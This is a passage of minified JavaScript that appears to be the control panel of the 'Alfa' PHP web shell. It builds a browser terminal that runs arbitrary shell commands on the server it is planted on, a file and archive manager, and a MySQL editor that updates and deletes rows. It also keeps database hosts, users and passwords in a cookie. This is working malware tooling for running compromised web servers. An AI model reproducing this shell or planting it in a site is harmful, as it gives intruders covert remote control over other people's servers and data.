a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=(d.querySelector("#"+i),e.getAttribute("col_key")),r=e.getAttribute("key"),o=e.getAttribute("tbl_name"),n=e.getAttribute("row_id");alfaMysqlApi({db_id:i,db_target:a,ajax_id:"mysql_table_edit_query",db_info:{table:o,col_key:l,key:r},post:{alfa2:t}},function(e){if(0!=e.length)if(e=JSON.parse(e),"edit"==t){var s="<table border='1'><tr style='text-align: left;background-color: #305b8e;color:#FFFFFF;'><th>Column</th><th>Type</th><th>Value</th></tr>";for(var c in e){var u="";switch(e[c].type.tag){case"textarea":u="<textarea name='"+e[c].col+"' rows='5'>"+e[c].value+"</textarea>";break;case"input":u="<input type='"+e[c].type.type+"' name='"+e[c].col+"' value='"+e[c].value+"'>"}s+="<tr><th style='text-align: left;'>"+e[c].col+"</th><td>"+e[c].type.col_type+"</td><td>"+u+"</td></tr>"}s+="</table><div style='margin-left:20px;'><button col_key='"+l+"' key='"+r+"' tbl_name='"+o+"' db_id='"+i+"' db_target='"+a+"' onclick='alfaMysqlUpdateRow(this, \"edit\");return false;'>Update</button></div><div class='mysql-update-result'></div>",d.querySelector("#"+i+" .mysql-edit-row").innerHTML=s,alfaMysqlTabCtl({child:6,db_id:i,target:".mysql-edit-row"},!0),d.querySelector("#"+i+" .mysql-query-result-tabs div:nth-child(6)").style.display="inline-block"}else"delete"==t&&(e.status?d.querySelector("#"+i+" .tbl_row_l"+n).remove():alert(e.error))})}function alfaMysqlTblSelectAll(e){var t=e.getAttribute("db_id");d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(t){t.checked=e.checked})}function alfaMysqlDeleteAllSelectedrows(e){var t=e.getAttribute("db_id"),a=e.getAttribute("db_target"),i=e.getAttribute("col_key"),l=e.getAttribute("tbl_name"),r=[];if(d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&r.push(e.value)}),0==r.length)return!1;alfaMysqlApi({db_id:t,db_target:a,ajax_id:"mysql_table_delete_all_query",db_info:{table:l,col_key:i,rows:r},post:{alfa2:"delete_all"}},function(e){if(""!=e)if((e=JSON.parse(e)).status){var a=0,i=d.querySelector("#"+t);d.querySelectorAll("#"+t+" .mysql-main input[name=tbl_rows_checkbox\\[\\]]").forEach(function(e){e.checked&&(a=e.getAttribute("row_id"),i.querySelector(".tbl_row_l"+a).remove())})}else alert(e.error)})}function alfaMysqlUpdateRow(e,t){var a=e.getAttribute("db_target"),i=e.getAttribute("db_id"),l=d.querySelector("#"+i),r=".mysql-insert-row",o=".mysql-insert-result",n="mysql_table_insert_query",s="insert",c={table:e.getAttribute("tbl_name")};if("edit"==t){var u=e.getAttribute("col_key"),p=e.getAttribute("key");r=".mysql-edit-row",o=".mysql-update-result",n="mysql_table_update_query",s="update",c.col_key=u,c.key=p}var f={};l.querySelectorAll(r+" input, "+r+" textarea").forEach(function(e){f.hasOwnProperty(e.name)||(f[e.name]={}),f[e.name]=e.value}),c.data=f,alfaMysqlApi({db_id:i,db_target:a,ajax_id:n,db_info:c,post:{alfa2:s}},function(e){if(0!=e.length){e=JSON.parse(e);var t=d.querySelector("#"+i+" "+o);t.style.display="block",e.status?t.innerHTML="Success...":t.innerHTML=e.error}})}function alfaMysqlLoadDataType(e){e=e.toUpperCase();var t=["INT","VARCHAR","TEXT","DATE",{key:"Numeric",vals:["TINYINT","SMALLINT","MEDIUMINT","INT","BIGINT","-","DECIMAL","FLOAT","DOUBLE","REAL","-","BIT","BOOLEAN","SERIAL"]},{key:"Date and time",vals:["DATE","DATETIME","TIMESTAMP","TIME","YEAR"]},{key:"String",vals:["CHAR","VARCHAR","-","TINYTEXT","TEXT","MEDIUMTEXT","LONGTEXT","-","BINARY","VARBINARY","-","TINYBLOB","MEDIUMBLOB","BLOB","LONGBLOB","-","ENUM","SET"]},{key:"Spatial",vals:["GEOMETRY","POINT","LINESTRING","POLYGON","MULTIPOINT","MULTILINESTRING","MULTIPOLYGON","GEOMETRYCOLLECTION"]},{key:"JSON",vals:["JSON"]}],a="",i=!1;for(var l in t)if("object"==typeof t[l]){for(var r in a+='<optgroup label="'+t[l].key+'">',t[l].vals)a+="<option"+(t[l].vals[r]!=e||i?"":" selected")+">"+t[l].vals[r]+"</option>",t[l].vals[r]==e&&(i=!0);a+="</optgroup>"}else a+="<option"+(t[l]!=e||i?"":" selected")+">"+t[l]+"</option>",t[l]==e&&(i=!0);return a}function alfaMysqlChangePage(e,t){var a=e.getAttribute("db_id"),i=0;if(void 0!==t){e=d.querySelector("#"+a+" select[name=mysql-q-pages]");var l=parseInt(e.getAttribute("pages"));if(i=parseInt(e.value),1==t?--i:++i,0==i||l<i)return!1;e.value=i}else i=e.value;var r=e.getAttribute("db_target"),o=e.getAttribute("tbl_name");alfaMysqlApi({db_id:a,db_target:r,ajax_id:"mysql_table_change_page",db_info:{table:o,page:i},post:{alfa2:"page"}},function(e){0!=e.length&&(e=JSON.parse(e),alfaMysqlReportBuilder(a,e),d.querySelector("#"+a+" .mysql-query-table").innerHTML=e.table)})}function alfaRemoveCookie(e){document.cookie=e+"=;Max-Age=0; path=/;"}function alfaLogOut(){alfaRemoveCookie("AlfaUser"),alfaRemoveCookie("AlfaPass"),location.reload()}var alfaAlertBox=function(e,t){this.types={success:{class:"alert-success",icon:"http://solevisible.com/icons/menu/check-mark1.svg"},error:{class:"alert-error",icon:"http://solevisible.com/icons/menu/warning.svg"}},this.show=function(a){if(""===a||null==a)throw'"msg parameter is empty"';var i=document.querySelector(e),l=document.createElement("DIV"),r=document.createElement("DIV"),o=document.createElement("DIV"),n=document.createElement("A"),s=document.createElement("div"),c=document.createElement("IMG"),d=this;if(s.style.display="inline-block",s.style.marginRight="10px",r.style.display="inline-block",o.classList.add("alert-content"),o.innerText=a,n.classList.add("alert-close"),n.setAttribute("href","#"),l.classList.add("alert-box"),c.src=this.types[t.type].icon,c.style.width="30px",s.appendChild(c),l.appendChild(s),t.hasOwnProperty("title")){var u=document.createElement("DIV");u.classList.add("alert-content-title"),u.innerText=t.title,r.appendChild(u)}if(r.appendChild(o),l.appendChild(r),t.hideCloseButton&&void 0!==t.hideCloseButton||l.appendChild(n),t.hasOwnProperty("type")&&l.classList.add(this.types[t.type].class),i.appendChild(l),n.addEventListener("click",function(e){e.preventDefault(),d.hide(l)}),!t.persistent)var p=setTimeout(function(){d.hide(l),clearTimeout(p)},t.closeTime)},this.hide=function(e){e.classList.add("hide");var t=setTimeout(function(){e.parentNode.removeChild(e),clearTimeout(t)},500)}};function alfaShowNotification(e,t,a,i,l){void 0===a&&(a="success"),void 0===i&&(i=!1),void 0===l&&(l=1e4);var r={closeTime:l,persistent:i,type:a,hideCloseButton:!1};void 0!==t&&(r.title=t),new alfaAlertBox("#alert-area",r).show(e)}function alfaSyncMenuToOpt(e,t){var a="",i="",l=null;void 0!==t?(a="view_archive",i=e,l=location):(a=e.name,i=e.getAttribute("fname"),l=e),"extract"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=deziper",g("deziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="DeCompressor"):"compress"==a?(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=ziper",g("ziper",null,"","",c_+"/"+i),d.querySelector(".opt-title").innerHTML="Compressor"):"view_archive"==a&&(alfa_can_add_opt=!0,l.href="#action=options&path="+c_+"&opt=archive_manager",g("archive_manager",null,"",c_+"/"+i,""),d.querySelector(".opt-title").innerHTML="Archive Manager")}function doFilterName(e){var t="#filesman_holder_"+alfa_current_fm_id;setTimeout(function(){var a=new RegExp(e.value,"i");d.querySelectorAll(t+" .fmanager-row").forEach(function(e){-1==e.querySelector(".main_name").getAttribute("fname").search(a)?e.style.display="none":e.style.display="table-row"})},100)}function sortBySelectedValue(e,t){setCookie(t,e.options[e.selectedIndex].value,2012),g("FilesMan",c_)}function loadPopUpDatabase(e,t,a){if(console.log(t),$("database_window").style.display="block",void 0===t){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}try{d.querySelector(".sql-tabs .sql-newtab").remove()}catch(e){}var i="id_db_"+getRandom(10);d.querySelector("#database_window .content_options_holder .sql-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="sql-content sql-active-content">'+e+"</div>"),d.querySelector("#database_window .content_options_holder .sql-tabs").insertAdjacentHTML("beforeend",'<div id="tab_'+i+'" opt_id="'+i+'" class="sql-tabname sql-active-tab" onclick="dbTabController(this);"><span style="font-weight:unset;">New DB Connection</span> <img opt_id="'+i+'" onclick="closeDatabase(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div><div class="sql-newtab" onclick="alfa_can_add_opt=true;g(\'sql\',null,\'\',\'\',\'\');" style="background-color:#800000;"><span style="font-weight:unset;">New Tab +</span></div>'),$(i).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",i)});try{$(i).querySelector(".getconfig").setAttribute("base_id",i)}catch(e){}return i}$(t).innerHTML=e;var l=$("tab_"+t);null!=l&&((-1==l.classList.value.indexOf("sql-active-tab")||database_window_is_minimized)&&(l.classList.add("tab-is-done"),alfaShowNotification("proccess is done...","DB: "+l.innerText)),database_window_is_minimized&&alfaUpdateOptionsBadge("database_window")),void 0!==mysql_cache[t]&&mysql_cache[t].hasOwnProperty("db")&&mysql_cache[t].db.length>0&&"update"!=a&&(d.querySelector("#tab_"+t+">span").innerHTML=mysql_cache[t].db),$(t).querySelectorAll(".db-opt-id").forEach(function(e){e.setAttribute("db_id",t)});try{$(t).querySelector(".getconfig").setAttribute("base_id",t)}catch(e){}database_window_is_minimized||(d.body.style.overflow="hidden")}function loadPopUpOpTions(e,t){console.log(e),alfa_before_do_action_id="",$("options_window").style.display="block";var a=$("option_"+e);if(alfa_can_add_opt){alfa_can_add_opt=!1;try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var i="",l=$("menu_opt_"+e).innerHTML;"market"==e?l="Alfa Market":"GetDisFunc"==e&&(l="Disable Functions");try{d.querySelector("#options_window .content_options_holder .options_tab .tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}if(null!=a){var r=a.getAttribute("opt_count");null!=r?(i=parseInt(r)+1,a.setAttribute("opt_count",i)):(i=1,a.setAttribute("opt_count",i))}var o="option_"+e+i;d.querySelector("#options_window .content_options_holder .options_content").insertAdjacentHTML("afterbegin",'<div id="'+o+'" class="options_holder">'+t+"</div>"),d.querySelector("#options_window .content_options_holder .options_tab").insertAdjacentHTML("beforeend",'<div opt_id="'+o+'" onclick="optionsTabController(this);" title="'+l+'" id="tab_'+o+'" class="tab_name tab_is_active">'+l+' <img opt_id="'+o+'" onclick="closeOption(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),$(o).classList.toggle("option_is_active"),d.querySelectorAll("#"+o+" form, #"+o+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var l=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+i+'");'+l),t.setAttribute("opt_id",e+i)}else{l=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+i+'");'+l)}});try{$(o).querySelector(".getconfig").setAttribute("base_id",e+i)}catch(e){}return e+i}a.innerHTML=t;var n=$("tab_option_"+e);null!=n&&((-1==n.classList.value.indexOf("tab_is_active")||options_window_is_minimized)&&(n.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",n.innerText)),options_window_is_minimized&&alfaUpdateOptionsBadge("options_window")),d.querySelectorAll("#option_"+e+" form, #option_"+e+" a").forEach(function(t){var a=t.classList.value;if("getconfig"==a||"rejectme"==a)return!1;if("FORM"==t.tagName){var i=t.getAttribute("onsubmit");t.setAttribute("onsubmit",'alfaBeforeDoAction("'+e+'");'+i),t.setAttribute("opt_id",e)}else{i=t.getAttribute("onclick");t.setAttribute("onclick",'alfaBeforeDoAction("'+e+'");'+i)}});try{a.querySelector(".getconfig").setAttribute("base_id",e)}catch(e){}options_window_is_minimized||(d.body.style.overflow="hidden")}function alfaBeforeDoAction(e){alfa_before_do_action_id=e}function alfaLoaderOnTop(e){$("a_loader").style.display=e,d.body.style.overflow="block"==e?"hidden":"visible"}function alfaAjaxController(e){var t=e.getAttribute("parent");$("loader_"+t).remove(),"filesman_holder"==t.substr(0,15)&&($(t).style.minHeight="0"),_ALFA_AJAX_.hasOwnProperty(t)&&_ALFA_AJAX_[t].abort()}function closeDatabase(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("sql-active-tab"))if((e=d.querySelectorAll(".sql-tabs .sql-tabname")).length>1){e[0].classList.add("sql-active-tab");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("sql-active-content")}else editorClose("database_window");d.querySelector("div[opt_id="+a+"]").remove()}function closeFmTab(e,t){t.stopPropagation();var a=e.getAttribute("fm_id"),i=$("filesman_tab_"+a);if(-1!=i.classList.value.indexOf("filesman-tab-active")&&(e=d.querySelectorAll("#filesman_tabs .filesman_tab")).length>1){e[0].classList.add("filesman-tab-active");var l=e[0].getAttribute("fm_id"),r="filesman_holder_"+l;if(null!=$(r)){$(r).classList.toggle("filesman-active-content");var o=$("filesman_tab_"+l).getAttribute("path");initDir(o),d.mf.c.value=o,alfa_current_fm_id=l}}i.remove(),$("filesman_holder_"+a).remove(),alfaFilesmanTabHideTitle()}function closeOption(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("tab_is_active"))if((e=d.querySelectorAll(".options_tab .tab_name")).length>1){e[0].classList.add("tab_is_active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("option_is_active")}else editorClose("options_window");d.querySelector("div[opt_id="+a+"]").remove()}function historyPanelController(e){"hidden"==e.getAttribute("mode")?(d.querySelector(".editor-explorer").style.display="block",d.querySelector(".editor-modal").style.marginLeft="20%",e.setAttribute("mode","visible"),e.style.left="19%",e.innerHTML="<<"):(d.querySelector(".editor-explorer").style.display="none",d.querySelector(".editor-modal").style.marginLeft="1%",e.setAttribute("mode","hidden"),e.style.left="0%",e.innerHTML=">>")}function closeTerminalContent(e,t){t.stopPropagation();var a=e.getAttribute("term_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("active-terminal-tab"))&&(e=d.querySelectorAll(".terminal-tabs .terminal-tab")).length>1){e[0].classList.add("active-terminal-tab");var i=e[0].getAttribute("term_id");null!=$(i)&&$(i).classList.toggle("active-terminal-content")}d.querySelector("div[term_id="+a+"]").remove()}function closeEditorContent(e,t){t.stopPropagation();var a=e.getAttribute("opt_id");if(($(a).remove(),-1!=$("tab_"+a).classList.value.indexOf("editor-tab-active"))&&(e=d.querySelectorAll(".editor-tabs .editor-tab-name")).length>1){e[0].classList.add("editor-tab-active");var i=e[0].getAttribute("opt_id");null!=$(i)&&$(i).classList.toggle("editor-content-active")}d.querySelector("div[opt_id="+a+"]").remove()}function optionsTabController(e){try{d.querySelector(".options_holder.option_is_active").classList.remove("option_is_active")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("option_is_active");try{d.querySelector("#options_window .content_options_holder .options_tab \t.tab_name.tab_is_active").classList.remove("tab_is_active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("tab_is_active"),d.querySelector(".opt-title").innerHTML=e.getAttribute("title"),alfaUpdateOptionsBadge("options_window")}function terminalTabController(e){try{d.querySelector(".terminal-tab.active-terminal-tab").classList.remove("active-terminal-tab")}catch(e){}try{d.querySelector(".terminal-content.active-terminal-content").classList.remove("active-terminal-content")}catch(e){}var t=e.getAttribute("term_id");if(null==t)return!1;$(t).classList.toggle("active-terminal-content"),e.classList.remove("tab-is-done"),e.classList.add("active-terminal-tab"),$(t).querySelector(".php-terminal-input").focus(),alfaUpdateOptionsBadge("cgiloader")}function filesmanTabController(e){try{d.querySelector(".ajaxarea.filesman-active-content").classList.remove("filesman-active-content")}catch(e){}try{d.querySelector(".filesman_tab.filesman-tab-active").classList.remove("filesman-tab-active")}catch(e){}var t=e.getAttribute("fm_id");if(null==t)return!1;alfa_current_fm_id=t,e.classList.add("filesman-tab-active"),e.classList.remove("tab-is-done"),$("filesman_holder_"+t).classList.toggle("filesman-active-content");var a=e.getAttribute("path");initDir(a),d.mf.c.value=a}function dbTabController(e){try{d.querySelector(".sql-content.sql-active-content").classList.remove("sql-active-content")}catch(e){}try{d.querySelector(".sql-tabname.sql-active-tab").classList.remove("sql-active-tab")}catch(e){}var t=e.getAttribute("opt_id");if(null==t)return!1;$(t).classList.toggle("sql-active-content"),e.classList.remove("tab-is-done"),e.classList.add("sql-active-tab"),alfaUpdateOptionsBadge("database_window")}function editorTabController(e,t){try{d.querySelector(".editor-contents.editor-content-active").classList.remove("editor-content-active")}catch(e){}var a=null;void 0===t?a=e.getAttribute("opt_id"):(a=e,e=$("tab_"+a));var i=editor_files["file_"+a.replace("editor_source_","")];if(void 0!==i&&(d.querySelector(".editor-path").innerHTML=(i.pwd+"/"+i.file).replace(/\/\//g,"/")),null==a)return!1;$(a).classList.toggle("editor-content-active");try{d.querySelector(".editor-tabs .editor-tab-name.editor-tab-active").classList.remove("editor-tab-active")}catch(e){}e.classList.remove("tab-is-done"),e.classList.add("editor-tab-active"),alfaUpdateOptionsBadge("editor")}function alfaUpdateOptionsBadge(e){var t=d.querySelector("#"+e+"-minimized .options_min_badge");if(null!=t){var a=d.querySelectorAll("#"+e+" .tab-is-done").length;t.innerHTML=a,t.style.visibility=a>0?"visible":"hidden"}}function alfaOpenPhpTerminal(e){if(php_temrinal_using_cgi&&void 0===e)showEditor("cgiloader");else{$("cgiloader").style.display="block",$("cgiloader").style.background="rgba(0, 0, 0, 0.57)",$("cgiframe").style.background="rgba(0, 0, 0, 0.81)",$("cgiframe").style.border="1px solid rgb(30, 86, 115)",$("cgiframe").style.height="90%",$("cgiframe").style.padding="3px",d.querySelector("#cgiloader .opt-title").innerHTML="Terminal";var t="",a="",i="terminal_id_"+getRandom(10);void 0===e&&(t=" active-terminal-content",a=" active-terminal-tab"),d.querySelector("#cgiframe .terminal-contents").insertAdjacentHTML("afterbegin",'<div id="'+i+'" class="terminal-content'+t+'"><div class="php-terminal-output"><div><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+'\',1);">+</button><button class="terminal-btn-fontctl" onClick="changeTerminalFontSize(\''+i+"',0);\">-</button><input onchange=\"alfaTerminalChangecolor(this,'"+i+'\');" style="height: 18px;background: #dde2e2;" type="color"></div><pre class="ml1" style="border:unset;height: 90%;"></pre></div><div><form term_id="'+i+'" onSubmit="alfaExecTerminal(this);this.c.value=\'\';return false;" autocomplete="off" style="margin-top: 10px;"><div style="overflow: auto;white-space: nowrap;"><div style="display: inline-block;color:#4fbec3;margin-bottom:5px;margin-right:5px;">CWD:~# </div><div style="display: inline-block;color:#42ec42;" class="php-terminal-current-dir"></div></div><div style="position:relative;"><span style="color: #00ff08;font-size: 25px;">$ </span><input style="padding: 8px;font-size: 20px;width: 67%;border: 1px solid #27979B;padding-right:35px;" onkeyup="alfaWalkInTerminalHistory(this,event,\''+i+'\');" term_id="'+i+'" class="php-terminal-input" type="text" name="c" onfocus="closeHistoryCmd(\'free\',this);" placeholder="ls -la"><button class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;">ExeCute<button term_id="'+i+'" class="button" style="color: #27979B;padding: 12px;margin-left: 10px;border-radius: 2px;font-weight: bolder;" onClick="alfaExecTerminal(this, 1);return false;">Current Dir</button><div class="cmd-history-holder"><div class="commands-history-header">History</div><span onClick="clearTerminalHistory();" style="border-bottom: 1px solid;margin-bottom: 5px;display: inline-block;padding: 5px;color: #59de69;cursor: pointer;">Clear history</span><div style="overflow: auto;height: 82%;" class="commands-history"></div></div><div term_id="'+i+'" class="cmd-history-icon" mode="" onclick="closeHistoryCmd(this);"><img style="width:27px;" src="http://solevisible.com/icons/menu/time2.svg"></div></form></div></div></div>');try{$("terminal_new_tab").remove()}catch(e){}d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="terminalTabController(this);" term_id="'+i+'" id="tab_'+i+'" class="terminal-tab'+a+'">Terminal <img term_id="'+i+'" onclick="closeTerminalContent(this,event);return false;" title="[close]" src="http://solevisible.com/icons/menu/delete.svg"></div>'),d.querySelector("#cgiframe .terminal-tabs").insertAdjacentHTML("beforeend",'<div onclick="alfaOpenPhpTerminal(true);" id="terminal_new_tab" style="background-color:#800000;" class="terminal-tab">New Tab +</div>'),terminal_walk_index[i]={index:0,key:-1},d.querySelector("#"+i+" .php-terminal-input").focus(),d.querySelector("#"+i+" .php-terminal-current-dir").innerHTML=c_,d.querySelector("#cgiloader-minimized .minimized-text").innerHTML="Terminal",alfaTerminalSetColorAndSize(i),php_temrinal_using_cgi=!0;var l=alfaGetTerminalHistory();for(var r in l)d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+l[r]+"</div>")}d.body.style.overflow="hidden"}function alfaTerminalSetColorAndSize(e){var t=getCookie("alfa-terminal-color"),a=getCookie("alfa-terminal-fontsize");void 0!==t&&(d.querySelector("#"+e+" pre.ml1").style.color=t),void 0!==a&&(d.querySelector("#"+e+" pre.ml1").style.fontSize=a)}function alfaTerminalChangecolor(e,t){d.querySelector("#"+t+" pre.ml1").style.color=e.value,setCookie("alfa-terminal-color",e.value,2012)}function alfaGetTerminalHistory(e){var t=getCookie("alfa-terminal-history");try{t=atob(t),t=JSON.parse(t)}catch(e){t=[]}return void 0!==e&&t.reverse(),t}function changeTerminalFontSize(e,t){var a=d.querySelector("#"+e+" pre.ml1"),i=parseInt(window.getComputedStyle(a,null).getPropertyValue("font-size")),l="";1==t?(l=i+1+"px",a.style.fontSize=l):(l=i-1+"px",a.style.fontSize=l),setCookie("alfa-terminal-fontsize",l,2012)}function alfaWalkInTerminalHistory(e,t,a){var i=t||window.event;if("38"==i.keyCode||"40"==i.keyCode||"37"==i.keyCode||"39"==i.keyCode)switch(i.keyCode){case 38:var l=alfaGetTerminalHistory(!0),r="";0==terminal_walk_index[a].index?(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,void 0!==(r=l[terminal_walk_index[a].index])?(e.value=r,++terminal_walk_index[a].index):(e.value="",terminal_walk_index[a].index=0)):terminal_walk_index[a].index<l.length&&(0==terminal_walk_index[a].key&&++terminal_walk_index[a].index,e.value=l[terminal_walk_index[a].index],++terminal_walk_index[a].index),terminal_walk_index[a].key=1;break;case 40:l=alfaGetTerminalHistory(!0);if(terminal_walk_index[a].index>=0)0!=terminal_walk_index[a].index&&(--terminal_walk_index[a].index,1==terminal_walk_index[a].key&&--terminal_walk_index[a].index),void 0!==(r=l[terminal_walk_index[a].index])?e.value=r:(e.value="",terminal_walk_index[a].index=0);terminal_walk_index[a].key=0;break;default:console.log(i.keyCode)}else terminal_walk_index[a].index=0}function clearTerminalHistory(){d.querySelectorAll(".commands-history").forEach(function(e){e.innerHTML=""}),setCookie("alfa-terminal-history","",2012)}function alfaAceToFullscreen(e){var t=e.getAttribute("ace_id");alfa_ace_editors.editor[t].container.requestFullscreen()}function closeHistoryCmd(e,t){if("free"==e){var a=t.getAttribute("term_id");return e=d.querySelector("#"+a+" .cmd-history-icon"),d.querySelector("#"+a+" .cmd-history-holder").style.visibility="hidden",d.querySelector("#"+a+" .cmd-history-holder").style.opacity="0",e.setAttribute("mode","off"),!1}var i=e.getAttribute("mode"),l=(a=e.getAttribute("term_id"),d.querySelector("#"+a+" .cmd-history-holder"));0==i.length||"off"==i?(l.style.visibility="visible",l.style.opacity="1",e.setAttribute("mode","on")):(l.style.visibility="hidden",l.style.opacity="0",e.setAttribute("mode","off"))}function geEvalAceValue(e){var t=e.querySelector(".php-evals-ace").getAttribute("id");return alfa_ace_editors.eval[t].getValue()}function alfaOpenArchive(e){var t=e.getAttribute("path"),a=e.getAttribute("fname"),i=e.getAttribute("base_id");if(".."==a&&"phar://"!=t.substr(0,7))return!1;var l="a="+alfab64("open_archive_dir")+"&c="+alfab64(c_)+"&alfa1="+alfab64(t)+"&alfa2="+alfab64(i)+"&ajax="+alfab64("true");_Ajax(d.URL,l,function(e){if("0"!=e){$("archive_base_"+i).innerHTML=e;var a=$("archive_dir_"+i).getAttribute("archive_name"),l=$("archive_dir_"+i).getAttribute("archive_full"),r="",o="";if(0!=(t=t.split(a)[1]).length){var n=(t=t.split("/")).length-1;for(var s in 0==t[n].length&&t.splice(n,1),t)0!=t.length&&(o+=t[s]+"/",r+='<a base_id="'+i+'" fname="'+t[s]+'" path="'+l+o+'" onclick="alfaOpenArchive(this);">'+t[s]+"/</a>")}d.querySelector("#archive_dir_"+i+" .archive_pwd_holder").innerHTML=r}},!1,"open_archive_dir")}function alfaDeleteConnectToDb(e){d.querySelectorAll(".dbh_"+e).forEach(function(e){e.remove()}),alfaConnectionHistoryUpdate(e)}function alfaConnectToDb(e,t){var a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var i=d.querySelector("#"+t+" div.sf");i.querySelector("input[name=sql_host]").value=a[e].host,i.querySelector("input[name=sql_login]").value=a[e].user,i.querySelector("input[name=sql_pass]").value=a[e].pass,(i.querySelector("input[name=sql_base]")?i.querySelector("input[name=sql_base]"):i.querySelector("select[name=sql_base]")).value=a[e].db,i.querySelector("input[name=sql_count]").checked=!0,d.querySelector("#"+t+" div.sf .db-connect-btn").click()}function alfaShowConnectionHistory(e){var t={},a=e.getAttribute("db_id"),i=e.getAttribute("mode");if(rows='<table class="connection-hist-table"><tr><th>*</th><th>Host</th><th>User</th><th>Pass</th><th>Database</th><th>Connect</th><th>Delete</th></tr>',"on"==i){e.setAttribute("mode","off");try{t=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}var l,r=1;for(l in t){var o=t[l].user+"_"+t[l].db;rows+='<tr class="dbh_'+o+'"><th>'+r+"</th><th>"+t[l].host+"</th><th>"+t[l].user+"</th><th>"+t[l].pass+"</th><th>"+t[l].db+'</th><th><button style="margin: unset;" class="connection-his-btn" onclick=\'alfaConnectToDb("'+o+'","'+a+'");\'>Connect</button></th><th style="text-align: center;"><button style="margin: unset;" class="connection-his-btn connection-delete" onclick=\'alfaDeleteConnectToDb("'+o+"\");'>X</button></th></tr>",r++}rows+="</table"}else e.setAttribute("mode","on"),rows="";d.querySelector("#"+a+" .connection_history_holder").innerHTML=rows}function alfaConnectionHistoryUpdate(e){var t,a={};try{a=JSON.parse(atob(getCookie("alfa_connection_hist")))}catch(e){}for(t in mysql_cache)0!=mysql_cache[t].db.length&&(a[mysql_cache[t].user+"_"+mysql_cache[t].db]=mysql_cache[t]);void 0!==e&&delete a[e],setCookie("alfa_connection_hist",btoa(JSON.stringify(a)),2012)}function alfaExecTerminal(e,t){var a="";if(0==(a=void 0!==t?"cd "+c_:e.c.value).length)return!1;"l"==a?a="ls -trh --color":"ll"==a&&(a="ls -ltrh --color");var i=e.getAttribute("term_id");alfaloader(i,"block"),closeHistoryCmd("free",e);var l="";"FORM"==e.tagName&&(l=e.querySelector(".php-terminal-current-dir").innerHTML),0==(l=l.trim()).length&&(l=c_);var r="a="+alfab64("terminalExec")+"&c="+alfab64(l)+"&alfa1="+alfab64(a)+"&ajax="+alfab64("true");if(_Ajax(d.URL,r,function(e,t){alfaloader(t,"none");try{var a=$("tab_"+i);null!=a&&((-1==a.classList.value.indexOf("active-terminal-tab")||cgi_is_minimized)&&(a.classList.add("tab-is-done"),alfaShowNotification("proccess is done...",a.innerText)),cgi_is_minimized&&alfaUpdateOptionsBadge("cgiloader"))}catch(e){}e=JSON.parse(e),d.querySelector("#"+t+" .php-terminal-output > pre").innerHTML=e.output,0!=e.path.length&&(d.querySelector("#"+t+" .php-terminal-current-dir").innerHTML=e.path)},!1,i),void 0===t){d.querySelector("#"+i+" .cmd-history-holder .commands-history").insertAdjacentHTML("afterbegin","<div onclick=\"d.querySelector('#"+i+' .php-terminal-input\').value = this.innerHTML;" class="history-cmd-line">'+a+"</div>");var o=alfaGetTerminalHistory(),n=o.indexOf(a);-1!=n&&o.splice(n,1),o.push(a),setCookie("alfa-terminal-history",btoa(JSON.stringify(o)),2012)}d.querySelector("#"+i+" input.php-terminal-input").focus()}function pageChangedFilesMan(e){var t="filesman_holder_"+alfa_current_fm_id,a=getCookie(t+"_page_number"),i=e.innerText;if("<<"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;if(!((a=parseInt(a))>1))return!1;i=a-1}if(">>"==i){a=d.querySelector("#"+t+" .active-page-number").innerText;a=parseInt(a);var l=d.querySelector("#"+t+" .last-page-number").innerHTML;if(!(a+1<=(l=parseInt(l))))return!1;i=a+1}setCookie(t+"_page_number",i,2012),g("FilesMan",c_)}function alfaColDumperInit(){var e=d.querySelector(".tab_name.tab_is_active").getAttribute("opt_id"),t=d.querySelector("#"+e),a=t.getElementsByClassName("box");for(i=0;i<a.length;i++)a[i].addEventListener("click",function(){null!=this.parentElement.querySelector(".nested")&&(this.parentElement.querySelector(".nested").classList.toggle("active"),this.classList.toggle("check-box"))});var 